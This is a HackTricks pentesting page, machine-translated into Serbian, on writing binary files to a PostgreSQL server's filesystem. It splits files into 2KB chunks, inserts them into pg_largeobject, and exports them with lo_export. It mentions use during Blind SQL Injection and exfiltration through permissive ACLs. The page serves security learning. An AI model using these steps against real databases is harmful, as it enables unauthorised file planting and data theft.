Big Binary Files Upload (PostgreSQL)

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

PostgreSQL Veliki Objekti

PostgreSQL nudi strukturu poznatu kao veliki objekti, dostupnu putem tabele pg_largeobject, koja je dizajnirana za skladištenje velikih tipova podataka, kao što su slike ili PDF dokumenti. Ovaj pristup je prednost u odnosu na funkciju COPY TO jer omogućava izvoz podataka nazad u fajl sistem, osiguravajući da se tačna replika originalnog fajla održava.

Za skladištenje kompletnog fajla unutar ove tabele, objekat mora biti kreiran u tabeli pg_largeobject (identifikovan LOID-om), nakon čega se podaci dele u delove, svaki veličine 2KB, u ovaj objekat. Ključno je da ovi delovi budu tačno 2KB u veličini (sa mogućim izuzecima poslednjeg dela) kako bi se osiguralo da funkcija izvoza radi ispravno.

Da biste podelili svoje binarne podatke u delove od 2KB, mogu se izvršiti sledeće komande:

split -b 2048 your_file # Creates 2KB sized files

Za kodiranje svakog fajla u Base64 ili Hex, mogu se koristiti sledeće komande:

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

Важно: При аутоматизацији овог процеса, уверите се да шаљете делове од 2KB чистог текста. Хекс кодирани фајлови ће захтевати 4KB података по делу због удвостручења величине, док фајлови кодирани у Base64 следе формулу ceil(n / 3) * 4.

Садржај великих објеката може се прегледати у сврху дебаговања користећи:

select loid, pageno, encode(data, 'escape') from pg_largeobject;

Koristeći lo_creat i Base64

Da bi se sačuvali binarni podaci, prvo se kreira LOID:

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

U situacijama koje zahtevaju preciznu kontrolu, kao što je iskorišćavanje Blind SQL Injection, lo_create se preferira za određivanje fiksnog LOID-a.

Podaci se mogu umetnuti na sledeći način:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

Da biste eksportovali i potencijalno obrisali veliki objekat nakon upotrebe:

SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

Koristeći lo_import i Hex

Funkcija lo_import može se koristiti za kreiranje i određivanje LOID-a za veliki objekat:

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

Nakon kreiranja objekta, podaci se unose po stranici, osiguravajući da svaki deo ne prelazi 2KB:

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

Da bi se proces završio, podaci se izvoze i veliki objekat se briše:

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Limitations

Napomena je da veliki objekti mogu imati ACL-ove (Liste Kontrole Pristupa), što može ograničiti pristup čak i objektima koje je kreirao vaš korisnik. Međutim, stariji objekti sa permisivnim ACL-ovima mogu i dalje biti dostupni za ekfiltraciju sadržaja.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated